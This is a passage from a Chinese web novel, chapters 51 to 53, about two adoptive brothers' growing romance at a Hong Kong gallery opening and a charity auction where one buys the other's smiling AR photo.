他也看见了陈宗礼温柔、细腻的一面。他不是站在金字塔顶端,高高在上的太子爷。他也会帮女……朋友的忙,为她早起开会,为她仔细地检查艺人名单…… 并非陈宗瑜说的貌合神离。 陈一诺看着陈宗礼棱角分明的侧脸,心里那点仅剩的酸涩被彻底消解。 突然说:“哥,你和思维姐,你们……会结婚吗?” 陈宗礼在键盘上飞速打字的手,立刻停了。 陈一诺补充:“其实我想说,我的确因为你早上放我鸽子不开心。但是后来,你助理跟我道歉了。花收到了,办公室也很舒服,蛋挞也很好吃……” “我想说什么呢……我想说,刚开始是不习惯,但我没有不赞成你和思维姐的意思。” “我……觉得你们挺般配的。” 陈一诺说话的时候,陈宗礼一直看着他,那双不怒自威的上斜眼里流露出难以解读的情绪。像控制着惊讶,又像努力让自己别骂人…… “陈一诺……”陈宗礼突然正经地喊他的全名。 突然严肃的气氛,让陈一诺正襟危坐,问道:“怎么了?” “别动……”陈宗礼突然拉近跟陈一诺的距离,眼眸里慢慢变成一个漩涡,妄想把陈一诺往下拖,让他沉沦。 他伸手按在他的唇上,温热的手指一划,掉落了一片酥皮。 他声音前所未有的蛊惑:“好了……” 陈一诺觉得被指腹划到的地方仿佛在发烫。鼻尖若有似无地飘来陈宗礼身上的味道,不是红茶,是沉香木,刚开始刺鼻,尾调却像钻进你鼻腔,久久不能散去…… “哇……你们好早!!” 陈宗瑜毫无预兆的闯入,打破了他们的对话。慌乱之下,陈一诺快速跟陈宗礼拉开距离。 距离虽然拉开,心跳却慢不下来。 神经粗的陈宗瑜察觉他们气氛不对劲,疑惑地问道:“你们……” 她察觉到什么了吗? 陈一诺的心仿佛要跳到嗓子眼,扪心自问为什么要紧张。他跟陈宗礼刚刚又不是在偷情…… “你们居然背着我偷吃?!!” 陈一诺的心从嗓子眼回落,故作镇定把蛋挞推到她面前:“吃吧吃吧,肥死你!” 陈宗瑜拿起蛋挞,斯斯然坐下:“我好多年没吃过宝记了!胖就胖吧,先污染再治理~” 陈一诺也好多年没这么心跳过了! 他心虚地看着陈宗瑜,又看向回归工作的陈宗礼,仿佛刚刚的一切只是他脑海里的幻境。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 作为国际大都市,港城除了拥有亚士得、都富比两大拍卖行坐镇,私人画廊的门店数目也不少。画廊背后的金主,也都是遍布世界各地热爱收藏的名门富豪。 庄宝瑶任职的亚士得拍卖行,经历筹备两年,最终在港城寸土寸金的市中心金环选中一座三层复古洋楼开设旗舰画廊——艺思轩。 开幕这天,为了给“艺思轩”画廊提升人气,李思维和庄宝瑶齐齐刷爆人情卡,给港城的名门望族、政要、明星都发了邀请函,如此星光熠熠的嘉宾阵容,狗仔队怎能放过? 港城所有报社、电视台记者,还有不少自媒体,一早部署在“艺思轩”画廊一楼两旁的记者招待区。长枪短炮对准今天的来宾。 虽然,画廊是亚士得旗下,由庄宝瑶主理的,但盖不住李思维在港城的高人气,更盖不住记者们要拍到其“绯闻男友”陈宗礼的野心。 记者A:“今天陈宗礼会来吗?刚刚还有人在羽南港遇见他带着施工帽在勘查。” 记者B:“艺思轩筹备阶段,已经有人拍到李思维带着太子爷来参观,今天画廊开幕,TVA的当家花旦小生全来捧场,太子爷自己怎么可能不出现~” 记者C:“陈老太人没到,但听说送了下午茶祝贺画廊开幕!这未来孙媳妇的待遇就是不一样啊。” “来了来了!陈家的车来了!” 所有记者拿起相机,一排镜头齐刷刷对准在“艺思轩”门口停下的库里南。 身着高定深灰色西装的陈一诺,满身优雅。他边系外套扣子,边绕到另一边替陈宗瑜开车门。齐刘海短发的陈宗瑜,身着紫花卉无袖礼服裙翩然而至,仿佛一只紫色花仙。 俊男美女大方地站在“艺思轩”宾客区,任由记者们的镜头对着他们扫射,金尊玉贵养出来的气质,配上超高颜值,让人惊呼这对豪门兄妹的出片比正儿八经的明星还好看。 好看的背后是有代价的。 陈宗瑜脸上微笑表情不变,僵硬的嘴唇内发出对陈一诺的抱怨:“天杀的陈宗礼!自己走后门,让我们到正门吸引火力!不是人……” 陈一诺跟她一样,皮笑肉不笑:“你在意的不是陈宗礼声东击西,你在意的是他拉着庄嘉轩一起走后门,让你错失跟庄嘉轩在记者面前拍婚纱照的机会吧……” “宗瑜宗瑜,看这边!” 陈宗瑜拽着他的衣袖转了个方向,继续皮笑肉不笑地让人拍照。 “那你就错了,我今天来可不是为了追他!我决定了,要认识新人!” 陈一诺觉得苹果肌要笑僵了,缓了缓,问道:“真的假的?” 陈宗瑜:“当然是真的,我已经好久没给他发消息了……” 陈一诺了然:“哦,换策略了,欲擒故纵啊?” 陈宗瑜:“欲擒……什么?谁有空啊?” 好不容易拍够了,陈宗瑜挽着陈一诺往画廊里走。 这时,画廊主理人庄宝瑶短发配廓形黑西装,酷酷地迎上来:“一诺,宗瑜,欢迎你们啊!” 陈宗瑜跟庄宝瑶拥抱,还亲密地晃了晃:“恭喜宝瑶姐,生意兴隆啊。” 陈一诺上前跟她握手:“宝瑶姐,恭喜啊。” 庄宝瑶:“谢谢,你哥和嘉轩已经到了,我让工作人员先领你们去签到吧!” 说完,特意吩咐一个工作人员,领他们去签到。 他们被领到一台线条简约的半身AR签到台。两人分别用笔在机器的镜面上签自己的名字,然后摆好姿势,“喀嚓——”一声快门响,半身照连着亲笔签名一起传送到签到墙。 接着,工作人员给他们每人一块巴掌大小的平板,解释道:“因为现场不能带通讯设备,我们给每位来宾准备了小平板,每个平板都有编号,对应你们唯一身份。” 陈一诺随手刷了几下平板,平板里有导览模式和拍卖模式,导览模式能看到画廊介绍、展览路线、开幕日程安排;拍卖模式,会显示对应的竞拍号码。这平板功能挺全。 陈一诺还发现,给他配的平板是灰的,给陈宗瑜配的紫色,刚好搭配他们的服装,挺细节的。 他感叹:“我对画廊的记忆,还停留在纸质导览和机械语音讲解,没想到已经能做成智能化了。” 陈宗瑜:“不过,我觉得逛展专门请个讲解员一对一讲解着逛,更有人情味。如果都变成智能设备冰冰冷冷,怪没滋味……” 这时,他们的平板收到一个消息,点开一看,是他们签到时拍的AR照片。 那张带着他签名的照片,还能动,让他想起哈利波特里的魔法报纸。 过去,为了方便,很多活动方会把所有来宾的照片放在一个公共网页上,任人下载。 但这个活动里,每个人只能收到属于自己的照片。对于这群注重隐私的上层人士来说实在太贴心。 大家都在夸庄宝瑶照顾细节,实际上,这是另一个人的功劳。 陈一诺用搭配衣服的平板,看着生动的AR照片,心想:富家公子小姐什么新鲜好玩的没见过?对于他们来说,挖空心思为他们提供出乎意料服务,带给他们新鲜感、专属感尤为重要。 这一点,作为酒店服务行业的翘楚,LS酒店的运营者李思维,自然深谙此道。 本以为,李思维做策展是玩票性质,现在看来并不是。上辈子,李思维如果把策展作为终身事业,而不是屈服于利益,跟贺朝阳结婚,估计也能运营得很好。 现场衣香鬓影,他捕捉到一袭白裙的李思维,还有廓形黑西装的庄宝瑶,一个温婉一个飒爽,周游在一众豪门贵妇中间,仿佛花丛中的两只翩翩起舞的蝴蝶。 这时,一个身穿制服的外国女人走到庄宝瑶身旁,跟她低语几句,她让陈一诺觉得眼熟。 眯着眼看了一会儿,把陈宗瑜拉到身边,问道:“站在宝瑶姐旁边那个外国女人,是谁啊?” 陈宗瑜看了看:“好像叫丽贝卡刘,C国华裔。她在C国也有自己的画廊。我妈跟秦校长打麻将的时候说过,这个丽贝卡刘的画廊跟亚士得有合作,一来二去认识了宝瑶姐。” “后来,知道亚士得在港城准备开旗舰画廊,她很感兴趣,特地飞回来参加开幕式。开幕展好几幅大师作品,都是她画廊调派过来的呢。” 陈一诺总觉得这个C国华裔说不出的熟悉,转头问:“丽贝卡刘的画廊叫什么名字?你知道吗?” 陈宗瑜点开平板里面的“艺思轩”开幕作品。里面刚好有丽贝卡刘的个人介绍。 她念道:“丽贝卡刘在C国主理的画廊叫RCC,代理多位国际一线艺术家,也和不少上升期的艺术家长期合作。” 她放下平板:“我记得,几年前,都富比拍出天价纪录MAX的《红马》就是RCC代理的。” “那场拍卖,庄宝瑶是主拍卖官,两人这样认识了。本来,亚士得不愿意办这个旗舰画廊,宝瑶姐多次说服,正好这几年港城拍卖收入成亚洲之最,亚士得总部才松了口。” “为了给画廊造势,这次开幕展有丽贝卡的名画资源,加上思维姐的策展、人脉支持。你看那群亚士得老外,笑得多开心……” 陈一诺沉默地听着,有些唏嘘,像庄宝瑶,工作能力强,家庭实力优渥,想在港城做成一件事也并不容易。 …… 两人说着悄悄话,脑袋挨在一起,非常亲密。以至于完全没发现,画廊二楼,有两束视线朝他们投来。 陈宗礼站在高处看着楼下出神,完全没留意手里的香槟杯身上挂着的水珠连成线,顺着指尖往下淌。 身旁的庄嘉轩凑过来问:“哎,一诺谈过恋爱吗?” “我看他不是跟你凑一起,就是跟你妹凑一起。长那么帅,连段绯闻都没有…” 陈宗礼目光从两人间收回,落到庄嘉轩身上,庄嘉轩那点小心思,在他面前暴露无遗。 有时候,一句无心的话,被有心人听了去,就会成为种子,在人心里生根发芽。李思维上次在车上几句调侃的话,明显让“庄有心人”听进去了。 今天终于忍不住。 而他拐弯抹角的发问,成功激起了陈宗礼心底的恶趣味。 他反问:“有没有一种可能,一诺的绯闻对象就是陈宗瑜呢?” 庄嘉轩没想到陈宗礼会这样问,有些着急道:“什么……你说什么?他们是两兄妹,不可能吧……” 陈宗礼歪头看着他,继续逗:“全港城都知道陈一诺是老太太领养回来的。真有可能发展,也是亲上加亲。我二婶的态度,你是知道的。家长都没意见了,你着什么急?” 庄嘉轩生气了:“你不是弟控吗?不管管?我姐就管我啊……” 面对庄嘉轩的无能狂怒,陈宗礼简直想把他按到冰香槟的冰桶里清醒清醒。 要不是庄嘉轩几年来龟缩不前,陈宗礼至于看陈一诺和陈宗瑜靠近些就来气,在家里听二婶打趣童养婿就心梗,连李思维调侃两句就难受吗? 最最可恶的是,他偏偏什么都不能做…… 现在,罪魁祸首庄嘉轩居然反问他怎么不来管管……真好意思…… 他抱着双臂,像一头愠怒的雄狮,黑峻峻的眼睛盯着猎物:“其实我有一直有个问题想问你。” “你对你姐,是弟弟对姐姐的崇拜,还是别的……” 庄嘉轩没听懂,反问:“别的是什么?” 陈宗礼没往下接,眼神只淡淡看着他,等他自己悟。 “操!”庄嘉轩突然露出一个了然的眼神,大骂:“我只是姐控,不是恋姐!陈宗礼,咱们二十几年兄弟,你了解我的呀……” 陈宗礼撇他一眼:“对不起啊,认识你二十几年,你还是三句不离你姐。我才好奇确认一下。” “既然你不是,跟陈宗瑜怎么不能试一试呢?人也长大了,喜欢就喜欢,不喜欢就不喜欢,一句话的事,有什么话不能直说,非要玩躲猫猫,暗戳戳吃醋?” “是兄弟才提醒你,没人会原地等你。到时候娶她的不是陈一诺,也会是李一诺,周一诺……那时你跟谁发脾气,都不管用咯。” 庄嘉轩知道陈宗礼为他好,他烦闷地仰头喝尽手里的香槟,看着慢慢往后院聚集的人群,说道:“拍卖要开始了,下去吧。” 陈宗礼气还没消,故意逗他:“怎么,去看你姐?” 庄嘉轩瞪他,有种被骂之后的窘迫:“去找你妹!”—— 作者有话说:陈宗礼:腹黑小能手![坏笑][坏笑] 第52章 艺思轩画廊的选址得天独厚,除了市中心的三层复古洋楼,还罕见自带一片欧式花园。漫步其间,隔绝闹市纷扰,非常符合港城闹中带静的风水。 开幕这天阳光灿烂,温度却不算高,在户外也不觉得热。欧式花园内传来悠扬的弦乐声,宾客们跟着音乐慢慢朝花园方向聚集。 陈一诺和陈宗瑜沿着步道,绕过一个小型喷水池,抵达花园草坪,画廊开幕派对即将开始。 主持人拿着麦克风,说道:“欢迎大家莅临亚士得旗舰画廊——艺思轩的开幕派对。接下来,我们将举行一个小型拍卖会。今天拍得全数收入,将全数捐到儿童福利基金。希望大家慷慨解囊!” “话不多说,今天我们邀请到亚士得首席女拍卖师也是画廊主理人:庄宝瑶小姐。为这次慈善拍卖举槌。” 人群中,庄宝瑶从廓形西装换成了靛青色旗袍,她慢慢走上舞台,干练中添了几分温婉。 作为亚士得港城副总裁,暨亚士得资深拍卖师。庄宝瑶凭着流利中英文,快速精准的控场,为人称道。在男性主导的拍卖师中,她巾帼不让须眉,硬是挤出一个属于自己的位置。如今,还成了旗舰画廊的主理人,在业内的影响力可见一斑。 这一切,陈一诺只在庄嘉轩这个姐控嘴里听说,还是第一次现场看。 忍不住感叹:“宝瑶姐,真挺飒的!” 陈宗瑜说道:“要不怎么压制得了庄嘉轩呢。你说我是不是也得变强一点,加加分?” 陈一诺没尝过单恋的滋味,他从陈宗瑜身上看到情爱的模样,感觉这滋味并不好尝,才会让含着金钥匙出生的陈宗瑜也变得自卑。 重生后,陈一诺终日只想着让重要的人好好活着。从没想过,还要帮人解决恋爱问题。 他说:“改什么改?!姓庄的很好嘛?凭什么是你改变迁就他?” 陈宗瑜惊讶地看着他,无奈:“知道了,突然凶什么?” …… 他们到花园的自助餐吧,冷盘和甜品塔,精致地铺陈在小长桌上,还有调酒师和厨师现做热食。 甜品塔是老太太专门找人订做的,陈宗瑜还给了不少意见。她如数家珍地给陈一诺介绍,说这道覆盘子咖啡慕斯,口感如何丝滑,咖啡里还混着水果和黑巧的味道。 陈一诺边吃边听,听着听着就听岔了,听到了别人的频道。 他跟陈宗瑜站在餐吧转角处,另一边站着一男一女聊天。 女:“听说甜点是陈家送来的,老太太对李思维这个孙媳妇真不一样。” 男:“易胖体质就少吃,看看人家李思维,那样的身材才栓得住陈太子~” 女:“啧,我放纵日吃几口怎么了?再说,我有自知之明,哪敢觊觎陈宗礼。” 男:“你是不觊觎陈宗礼,你觊觎姓庄那小子吗。” “他有什么好的?就知道打打杀杀。你喜欢就算了,我听说陈家三小姐也喜欢。” 女“切”了声,话里满是对情敌的酸:“陈宗瑜是喜欢他很久了。没用啊,庄嘉轩看见她就跑,偏偏那恋爱脑轴得不会拐弯。我是庄嘉轩我都烦死了。” 男惊讶道:“她还倒贴?那么掉价?” “她这种千金,从小什么都不缺,遇见对她爱答不理的反而更来劲?我跟庄嘉轩比也不差啊,我也用这招,对她爱搭不理,是不是也有机会娶个豪门千金?” 在转角处听了半天的陈一诺那张脸早就阴了,陈宗瑜看着倒是平静,如果你不往下看她攥紧的拳头的话…… 领略过陈家女大佬的风采,陈一诺懒得出手,心里满是对那两位碎嘴男女的祷告。 一直听到,那男的说她掉价,陈宗瑜就要冲出去,跟他大战三百回合。 就在这时,陈一诺眼前闪过一个高大的身影…… 那人声音低沉,还带着煞气,质问男的:“你说……你娶谁?” 那对碎嘴男女,同时朝声音看过去,被那张让人脑袋瞬间空白的脸——庄嘉轩的脸,吓得魂都丢了。 他寸头穿着黑西装,衬衫最上面两颗扣子永远扣不上似的。嘴里的硬糖咬得“嘎吱”响,仿佛咬的是骨头。 看见他那张如罗刹般的脸,那对八卦男女瞬间怂了。 男的慌乱地解释:“不……不娶谁……都是我乱说的!” 庄嘉轩拎起他的衣领:“乱说?你是说话不带脑子,还是说话不过脑子?” 男的被庄嘉轩整个人拎起离地,非常狼狈,他恼羞成怒:“我说了又怎么?就许你吊着她,其他人不能喜欢啊?” 陈宗瑜慢慢走到他们面前,她丝毫不生气,反而爽朗道:“其他人当然可以喜欢我。” 什么? 庄嘉轩的脸色微妙地变了变。陈宗瑜径自走到那男的面前:“人可以,畜生不行。” 她抬手打了个响指,工作人员立刻跑过来,在李思维训练下非常清晰地喊出:“陈小姐,有什么可以帮到你?” 陈宗瑜面无表情,指着那男的:“把这位觊觎我的……” 又指着那女的:“还有这位觊觎他的,都带出去。” 那女的还无辜道:“宗瑜,我也没说你什么啊……” 庄嘉轩忽然说:“你造谣我烦她,我从没来没有烦过她。” “我只是觉得自己配不上她。” 这句话说出口,包括陈宗瑜在内,所有人都愣了,这跟表白有什么区别? “啪啪啪——” 陈一诺拍着手,施施然走到陈宗瑜身边,狡黠的眼睛跟庄嘉轩对了个眼神。 趁热打铁问他:“怎么?平时鸵鸟似的躲着,突然不躲了?” 庄嘉轩双手抱胸,他看不得别人说陈宗瑜倒贴,也受不了陈家兄弟前后夹击:“啊,从今以后不躲了!怎么样?” 他还故意撞开陈一诺,丝滑地插/进沉他跟陈宗瑜之间。 陈一诺本来很想跟他硬钢几句,但了眼陈宗瑜,这小妮子,前一秒还一脸凶相,如今一副守得云开见月明的娇羞,让他立刻意识到,他该安静地走开了。 于是,他一副不服气的表情,说了句非常中二的话:“配不上就好好努力,别再让我听到其他人说她倒贴!” 庄嘉轩咬着后牙槽,应下:“嗯……” …… 陈一诺走到他们看不见的地方,刚站稳,就看见右侧,一个陌生男人给李思维递名片,还主动介绍说:“李小姐,我叫王云亭!” 李思维礼貌地接过他的名片:“王先生,我们好像见过?您是宏发的供应商?” 叫王云亭立刻笑笑:“李小姐记性真好,去年宏发集团年会,我受邀参加,没想到你还记得我。” 陈一诺皱着眉,心里嘀咕:今天怎么回事,雄竞现场么?! 两人寒暄过后,王云亭得知李思维负责这次开幕式的策展,拿出平板问道:“听说拍卖环节直接用这个平板,我不太会……” 李思维友善地接过平板,替他操作:“你把平板调到拍卖模式上面有你的号码,遇到感兴趣的拍品就举起平板喊价。如果想匿名拍,只要按这个键……” 听到这里,陈一诺忍不住在人群里搜寻,喃喃道:“陈宗礼在哪儿呢?再不出来,你老婆要跑咯。” 忽然,一把醇厚低沉的声音从他耳后传来:“谁的老婆要跑?” 蛊人的声音仿佛带着电,酥麻麻的感觉从耳朵到大脑,再到心脏,最终扩散到四肢百骸。 陈一诺转头看向身后,耳朵擦过陈宗礼的嘴唇,不知不觉红了一片。 他惊讶道:“你……你站了多久?” “你站了多久,我就站了多久。” 陈宗礼走到他左边,黑西装叠着他的肩膀,“你刚刚说谁老婆?你老婆?” 陈一诺“啧”一声,“我哪来的老婆?!哎,那个叫王云亭的骚扰李思维,你不管管?” “我又不是居委会的,怎么什么事都让我管?”陈宗礼无语了。 庄嘉轩让他管陈宗瑜,陈一诺又让他管李思维。他一点兴趣都没有~ 陈一诺惊讶道:“你女朋友你不管?不怕被撬了墙角?” 陈宗礼双手交叉看着他,一字一句:“她~不~是~我~女~朋~友~” 不知为何,陈一诺觉得陈宗礼在生气。不是女朋友,难道他们在暧昧期,所以,陈宗礼才说没立场管对方? 哎,太子爷也逃脱不了“暧昧让人受尽委屈”这个定律! 他循循善诱:“你可能忙着工作,不太有时间经营感情。你想她做你女朋友,你好歹用心追追她,送送礼物……不然,你看看,思维姐很受欢迎的!” 陈宗礼听着陈一诺说的,心想的却是,暗恋让人受尽委屈。 这小卷毛什么脑回路,怎么能拐得那么离谱?! 他冷冷道:“陈一诺,你好像很懂,谈过恋爱?” 陈一诺摸摸鼻子:“没有,不过跟女生打交道的经验比你强一点点!” “如果你需要,我帮帮你也行……” 他指着不远处的两位作为案例自荐:“看看!庄嘉轩,今天都被我激得主动跟宗瑜表白了。” “我厉害吧?” 陈一诺昂着头,满脸骄傲。 把陈宗礼嘴边那句“厉害个锤子”咽了回去,没打算把刚刚恐吓庄嘉轩的话,复述给陈一诺听,他不屑贪这样的功劳。 淡淡换了句:“不能说明你厉害,只能说明他确实喜欢……” 陈一诺一头雾水问道:“啊?既然喜欢,他以前为什么总躲着宗瑜啊?” “想知道?”陈宗礼深邃的眸子看着陈一诺,为了说悄悄话,两人靠得相当近,他甚至能闻到陈一诺身上银色山泉的清冽。 庄嘉轩对陈宗瑜的若即若离,是上辈子的未解之谜之一。 陈一诺眨巴着眼睛,点头:“想……什么条件?” 陈宗礼眼睛亮了亮,问道:“你怎么知道我要提条件?” 虽然,陈宗礼这个人从小到大应有尽有,大家都以为,问他要什么他理应都会给。 可从80分考试打赌开始,他就发现,从陈宗礼手上拿点什么,可太难了。 他的东西从没有白送的,全要交换。至于具体用什么东西交换,全凭他高兴。 陈一诺带着洞察一切的精明,答道:“我就是知道,说吧,要什么?” 陈宗礼笑了:“拍品里有一个东西我想要,你帮我拍。” 能用钱解决的问题,是问题吗? 陈一诺毫不犹豫地答应:“没问题!说吧……” 陈宗礼神秘兮兮道:“因为,一支烟……” 陈一诺蹙眉沉默了片刻,不解:“什么意思?” 陈宗礼摸摸鼻子,回忆道:“高中的时候,庄嘉轩虽然被他姐禁止当古惑仔,但是他偶尔还会去找相熟的古惑仔聊天。” “有一回,他们照旧在巷子里聊天,遇见一个女人穿着窄裙、高跟鞋在巷子里走。” “那女人身材挺好的,那班古惑仔就吹哨起哄。女人害怕,脚下走快了些,没注意脚下,踩到香蕉皮“啪——”地摔在他们面前……” “那几个古惑仔嘴欠,哈哈哈大笑之余,还调戏了几句……那女的从地上爬起来,狠狠瞪着他们。” “不瞪不知道,一瞪吓一跳。那女人现场认出了人堆里的庄嘉轩。同时,庄嘉轩也认出了女人——陈宗瑜他妈……” “二婶?”陈一诺眼睛瞪得很大,喜欢的人的母亲踩香蕉皮在自己面前摔倒,这故事太阴间了! 他微屈手指放在下唇,后背发凉问:“不!是!吧!” 陈宗礼继续道:“故事还没完,二婶不但认出庄嘉轩,还发现,只有他拿着香蕉……” 陈一诺想起吴淑芬那张怨恨分明的脸,禁不住打了个抖:“我去……太社死了……” “换我是二婶,别说让庄嘉轩当女婿,方圆十里都不能出现姓庄的……” 陈宗礼点头:“所以,庄嘉轩现在能放下心魔,勇敢一博,你别插脚进去……” “我?”陈一诺难以置信,“他们开心,我也开心啊。我怎么可能妨碍他们?” 陈宗礼这才满意了:“你最好记着自己说的话!” …… 拍卖会还在继续,一瓶轻井泽威士忌被拍出了高价,出现第一个小高潮。 这时,下一个拍品的照片现在大屏幕。 现场一片哗然:“这不是……” 拍卖师庄宝瑶介绍道:“接下来,我们将要拍出陈宗礼先生的AR签到照。” 陈一诺目光转向舞台,陈宗礼英俊冷傲的半身照出现在大屏幕上。 平平无奇的照片,因为AR技术,捕捉了人物的3秒动图。 而这张动图的奇妙之处在于,照片最后0.5秒,陈宗礼那张没什么人情味的脸上,突然出现了罕见的微笑!那微笑,像冰山融化后,一股暖意涌入心间…… “陈宗礼的微笑,起拍价5w,每口价1w。拍卖开始!” 陈宗礼手肘碰了碰陈一诺,在纷扰的拍卖现场说道:“陈一诺,给我拍这个。”—— 作者有话说:嘿嘿嘿~[坏笑][坏笑] 第53章 为了给开幕拍卖增添趣味,艺思轩在拍品名单筹备阶段,特意选择了某些“非常规”的拍品。 在李思维看见“陈宗礼的微笑”这张签到照的瞬间,就决定把它作为“非常规”拍品。 上次利园聚餐后,陈宗礼和李思维的绯闻甚嚣尘上,狗仔们日日夜夜不辞劳苦地在蹲他俩的“合体”照。所有人都知道,李思维参与艺思轩的策展,但没人料到她居然毫不避嫌,在画廊开幕这天拿“绯闻男友”陈宗礼的照片拍卖。 “哇,李思维也太慷慨了,绯闻男友的照片也拿来拍卖?” “还是难得有笑容的照片,操,谁不爱看冰山融化啊,杀我……” “哎哟,盲猜最后肯定是她把照片投回去,小情侣秀恩爱的把戏罢了。” “我不管,我要举牌!我要成为小情侣play的一环。” 毫无预兆的,自陈宗礼的照片开拍起,从1万底价被一路疯抬到50万,过程只花了3分钟。 陈一诺顾着看热闹,完全忘了举牌:“哥,你发财了!” “发财”对于陈宗礼而言,没有任何吸引力。 但这一句,暴露了陈一诺的“财迷”本性,还挺有意思的。 陈一诺喋喋不休地点评:“前面那口20万,是股王小女儿喊的。38万是庄嘉轩奶奶喊的,50万是古拉得那个中东富商喊的……哥,你粉丝层很广啊,老少皆宜,男女通吃!” 陈宗礼怕他忘了自己的任务,提醒道:“你说好帮我的,怎么还不举牌?!” 陈一诺嫌他心急:“都在抬价呢,我现在举牌没意思。哎,思维姐要拍吗?如果她拍,我就不凑热闹了吧。” 陈宗礼不满意了,问道:“她拍那是她的事,你答应要送我的,无论谁出价,最终你都要拍下来。” 陈一诺听完感觉哪里怪怪的,他做了个等一等的手势:“等一下!” 他看向陈宗礼:“思维姐要拍卖你的照片,你肯定早就知道!所以,你是故意让我给你买单,陈宗礼,你在讹我?!” 陈宗礼笑了,不知道在笑自己的阴谋被小卷毛发现了,还是在笑号称“百亿身家”的陈一诺,如今还像当年考试不过80分那样,输了15000就要对他张牙舞爪。 他抱着双臂,问道:“庄嘉轩躲陈宗瑜的原因,是不是你自己要问的?作为交换,你拍下我要的东西,你情我愿的吧?怎么能说成是我讹你呢?” 陈一诺不屑道:“谁知道呢,人人都以为太子爷是正人君子,实际上大大的坏……” 陈宗礼嘴角扬了扬,难得没反驳。 …… 几句话的工夫,热络的拍卖场稍微降温,拍卖价到60w开始慢下来。 现场举牌的观众,有的觉得抬价好玩,有的想给李思维和陈宗礼卖个面子,让拍卖活络些。随着价格越喊越高,到后来就像击鼓传花似的,都担心万一自己举牌后面却没人接盘,岂不是得硬着头皮掏钱?那就太尴尬了。 慢慢地,场上只剩下中东富商和庄嘉轩奶奶,还在一人一口价地争夺着。 庄宝瑶:“70w!庄老太出价70w。” 中东富商举牌喊道:75w! 后排一个声音喊道:80w! “哇……”现场一片哗然,这场拍品都不名贵,刚刚有一枚碎钻胸针喊到50w成交,已经挺离谱了。陈宗礼一张照片,居然喊到了80w! 大家转头,发现举牌的是陈一诺,都恍然:“哇,看来陈家兄弟是真的和解了。陈一诺都来拍太子爷的照片。” 中东富商看向陈一诺,这时,陈一诺才看清中东富商的模样。身材高挑肤色很深,跟其他好奇的目光不同,中东富商的眼神里,似乎带着类似看情敌的警惕…… 果然,中东富商再次举牌:90w! “哇……”现场又一阵哗然,大家都有预感,第一个破百万的拍品要诞生了! 中东富商举牌后,故意回头瞪了陈一诺一眼,这下陈一诺进一步确定,这是看情敌的眼神! 陈一诺“我去”一声,浑身起鸡皮疙瘩:“哥,那个中东佬,是不是gay啊!” “他出90w买你的照片想干嘛……” 陈宗礼冷哼了声,一个眼神都不给中东佬,说道:“我劝你别细想。” 本来,陈一诺压根没去想,可陈宗礼让他别想,他的大脑偏偏“叛逆”地想了想。 脑海里顿时涌现出许多不堪入目的画面。 如果说一开始拍卖,只是为了兑现承诺。那么现在,陈一诺都拍出使命感了——为了保护我方太子爷的照片,不沦落为中东怪叔叔睡前的意/淫小道具。 这不得拼上身家性命! 他举起平板,喊价:“120w!” “轰——”一下,全场沸腾,四周都是嘈杂的声音。 中东怪叔叔脸色阴阴沉沉,舞台上庄宝瑶挥动着拍槌,一锤定音:“120w,陈宗礼的签到照Sold,恭喜陈先生!” “我去!还以为最后是李思维拍下呢,没想到居然是陈一诺!” “你别说,拍下的人是陈一诺,太子爷还挺高兴……” “豪掷百万买哥哥的照片,啧啧啧,什么兄弟情啊!好磕好磕。” “叮——” 陈一诺成功拍下照片的同时,平板收到一条消息: 陈一诺先生,恭喜你成功拍下《陈宗礼的微笑》拍品。您的拍卖证书以及照片原件,请点击下方附件。拍卖所得将全数捐赠儿童福利基金,再次感谢您对慈善事业的贡献,谢谢。 他点开附件,那张《陈宗礼的微笑》直接弹出,近距离看3s的动图拍得确实不错。特别是捕捉到那个细微的笑,让那张锋利的脸,瞬间变柔和,有种溢出屏幕的治愈感。 他好奇问陈宗礼:“看看你的平板,里面还有这张照片吗?” 陈宗礼把自己的平板递给陈一诺,让他自己研究着玩。 陈一诺拿着平板低头忙碌着,从陈宗礼的角度,能看见小卷毛头顶的发旋,卷毛绕着发旋逆时针往外延伸,像一个台风眼。 陈一诺抬头,笑着说:“没有了!原来拍卖成交的照片,本人也不能持有原片,连复制品都不行!还挺有版权意识。” “但是,这张照片,我怎么给你?” 陈宗礼因为陈一诺豪掷120万买下自己的照片,心情非常愉悦。 他笑道:“平板是画廊给来宾的伴手礼,晚点你传给我。” “作为一百万的谢礼,我可以给你提供一项逛展服务,要不要?” 买下陈宗礼的私家照,还有他本人提供的专属服务,为什么不要? 陈一诺一口应下:“要!” …… 户外拍卖会还在继续,陈一诺跟着陈宗礼,从后院慢慢走回“艺思轩”那幢小洋楼。 拍卖会的欢呼声此起彼伏,显得洋楼这边格外冷清。 他们穿过走廊,径自走到一楼画展。 陈宗礼介绍:“这次“艺思轩”的开幕展,主要展出20世纪初国外大师的作品。其中,有几幅重磅作品,会在下个月亚士得秋拍上竞拍。左边这幅是A国名家MAX的作品……” 陈一诺跟在陈宗礼身后,安静体验太子爷私人讲解&陪逛展服务,心里却回忆起,八卦周刊说,画廊筹备期间,拍到陈宗礼不止一次来画廊跟李思维“幽会”…… 再看陈宗礼对画廊的熟悉程度,禁不住想:这两人在幽会的时候,该不会都在谈论画廊吧…… 把签名照放到拍卖会上拍,也是“幽会”的时候讨论出来的?这算工作还是算谈恋爱啊…… 另外,他们的奇思妙想,为什么要我买单啊?!我还花了一百多万呢! 富豪的钱是大风刮来的吗? 陈一诺为自己的冲动消费感到懊悔,转念又想,上辈子他没参加这场拍卖会,那陈宗礼的照片,最后落在中东佬手里么? 突然“啪——”一声,他被一个响指拉回现实。 陈宗礼英俊的脸出现在他面前,问他:“发什么呆呢?” 陈一诺回过神来,非常认真:“我在想,你为什么不亲自拍下自己的照片。” 陈宗礼双手抱胸:“拍不了,拍卖会有规定,拍品持有者不能拍自己的作品。” 陈一诺喃喃:“那如果我不拍,你也不拍,最后照片会落到谁手里,中东佬?” 陈宗礼摇摇手指:“当然不会,庄嘉轩、李思维……随便一个人拍就可以。大不了还他们钱。” 陈一诺终于找到切入口,他瞪大眼睛,摊开手掌:“还钱!120万!” 陈宗礼挑眉看着他:“我给讲了一路20世纪艺术大家的创作史,而你却还在纠结刚刚的120万。陈一诺,你这是玷污艺术!” 陈一诺这个财迷彻底卯起,追在他身后说:“你侮辱我智慧,120万,还钱……” 两人在无人的画廊里低声追逐了几步,无意间跑到画廊里最大的展厅。 里面只有一副作品,阴郁的蓝色混杂着血迹似的红,让人看一眼就感觉有种压迫感,仿佛亲临炼狱。 陈一诺被眼前的画作震撼到,几乎忘了刚刚跟陈宗礼追债的事。 